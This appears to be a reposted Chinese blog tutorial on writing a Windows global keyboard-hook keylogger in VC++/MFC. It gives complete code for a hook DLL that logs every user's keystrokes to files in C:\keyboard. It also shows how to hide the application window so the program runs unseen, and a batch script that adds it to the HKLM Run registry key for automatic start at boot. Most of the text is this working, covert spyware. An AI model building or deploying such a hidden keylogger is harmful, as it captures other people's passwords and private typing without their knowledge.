VC++開發Windows系統全局鈎子


   本文的大部分內容屬於對一篇網文的實踐與練習,同時參考的還有一本書,在此向網文與書的作者表示敬意。

這個程序是一個windows系統鍵盤監控程序,隨着開機自動啟動,可以監控系統中各用戶的鍵盤,並將按鍵記錄寫在指定的log文件里。

程序分為兩個部分:全局鈎子DLL和一個隱藏的單文檔應用程序。

  • 全局鈎子DLL

創建基於“MFC AppWizard(dll)”的“擴展MFC DLL(Extension MFC DLL)”類型工程KeyBoardHook

在自動生成的源文件KeyBoardHook.cpp中,

定義全局變量:

#pragma data_seg("publicdata")
HHOOK hhook = NULL;
HINSTANCE pinstance = NULL;
#pragma data_seg()

在DLL入口函數中,添加獲取鈎子實例句柄的代碼:

extern "C" int APIENTRY
DllMain(HINSTANCE hInstance, DWORD dwReason, LPVOID lpReserved)
{
    // Remove this if you use lpReserved
    UNREFERENCED_PARAMETER(lpReserved);

    if (dwReason == DLL_PROCESS_ATTACH)
    {
        TRACE0("KEYBOARDHOOK.DLL Initializing!\n");
        
        // Extension DLL one-time initialization
        if (!AfxInitExtensionModule(KeyBoardHookDLL, hInstance))
            return 0;

        new CDynLinkLibrary(KeyBoardHookDLL);
        pinstance = hInstance; //獲取鈎子實例句柄
    }
    else if (dwReason == DLL_PROCESS_DETACH)
    {
        TRACE0("KEYBOARDHOOK.DLL Terminating!\n");
        // Terminate the library before destructors are called
        AfxTermExtensionModule(KeyBoardHookDLL);
    }
    return 1;   // ok
}

全局鈎子的具體實現代碼:

//保存日志文件
extern "C" void SaveLog(char* c)
{
    //printf("剛才點擊的是%c鍵/n", &c);
    //char buffer[80];
    //wsprintf(buffer, "c的值是%c", c);
    //AfxMessageBox(buffer);
    const int MAX_BUFFER_LEN = 500;  
    char  szBuffer[MAX_BUFFER_LEN];  
    DWORD dwNameLen;  
  
    dwNameLen = MAX_BUFFER_LEN;  
    GetUserName(szBuffer, &dwNameLen);

    CTime tm=CTime::GetCurrentTime();
    CString name;
    name.Format("c:\\keyboard\\Key_%s_%d_%d.log", szBuffer, tm.GetMonth(),tm.GetDay());
    CFile file;
    if(!file.Open(name,CFile::modeReadWrite))
    {
        file.Open(name,CFile::modeCreate|CFile::modeReadWrite);
    }
    file.SeekToEnd();
    file.Write(c,1);
    file.Close();
}

//鍵盤鈎子回調函數
extern "C" LRESULT CALLBACK KeyboardPro(int nCode , WPARAM wParam, LPARAM  lParam)
{
    LRESULT Result=CallNextHookEx(hhook,nCode,wParam,lParam);
//AfxMessageBox("huidiao");
    if(nCode == HC_ACTION){
        if(lParam & 0x80000000){
            char c[1];
            c[0]=wParam;
    //AfxMessageBox(c);
            SaveLog(c);
        }
    }

    return Result;
}

//安裝鈎子,即創建了鈎子WH_KEYBOARD到鈎子處理函數KeyboardPro()的鏈接
extern "C" bool WINAPI InstallHook()
{
//    AfxMessageBox("anzhuang");
    hhook = (HHOOK)SetWindowsHookEx( WH_KEYBOARD, KeyboardPro, pinstance, 0);
    if(hhook != NULL)
        return true;
    else
        return false;
}

用def文件導出DLL函數,在KeyBoardHook.def中添加:

EXPORTS
    ; Explicit exports can go here
    InstallHook        @1        //dll導出函數的名稱為InstallHook,序號為1

至此,編譯並運行,程序的DLL部分便完成了。

  • 負責調用DLL的單文檔應用程序

創建一個MFC單文檔應用程序工程KeyBoardHookApp,將剛才DLL工程中編譯好的KeyBoardHook.dll和KeyBoardHook.lib拷貝到KeyBoardHookApp工程的Debug目錄中。

設置連接文件:在 工程->設置->連接 的“對象/庫模塊 ”中填寫KeyBoardHook.lib

在頭文件KeyBoardHookApp.h中添加導出函數聲明,以滿足在此應用中調用DLL中的函數:

//安裝鈎子函數
extern "C" bool WINAPI InstallHook();

在視類KeyBoardHookAppView.cpp中重載虛函數OnInitialUpdate(),並添加代碼完成對鍵盤鈎子的安裝:

具體操作可以利用VC++類向導自動生成代碼:ctrl+w建立類向導,然后在class name中選擇帶...View的視類,選擇類本身的Object ID,在Message中選擇OnInitialUpdate,雙擊Member functions添加代碼。

void CKeyBoardHookAppView::OnInitialUpdate() 
{
    CView::OnInitialUpdate();
    
    // TODO: Add your specialized code here and/or call the base class
    InstallHook();
}

最后,將本單文檔應用程序的窗口進行隱藏,使之成為一個后台監控程序:

在KeyBoardHookApp.cpp的InitInstance()函數中將m_pMainWnd->ShowWindow(SW_SHOW)改為m_pMainWnd->ShowWindow(SW_HIDE)即可。

 

  • 設置本程序隨開機自啟動

使用bat批處理來制作安裝和卸載

md C:\keyboard
@reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v KeyboardHook /t REG_SZ /d D:\keyboardhook\KeyBoardHookApp.exe
@reg delete "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v KeyboardHook /f

 

以管理員身份運行“安裝.bat”  ,程序在系統重啟后生效。日志文件放在C:\keyboard目錄下。

 

參考:

《精通Windows程序設計——基於Visual C++實現》   人民郵電出版社

《利用鍵盤鈎子捕獲Windows鍵盤動作》    http://www.yesky.com/328/1890328.shtml


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM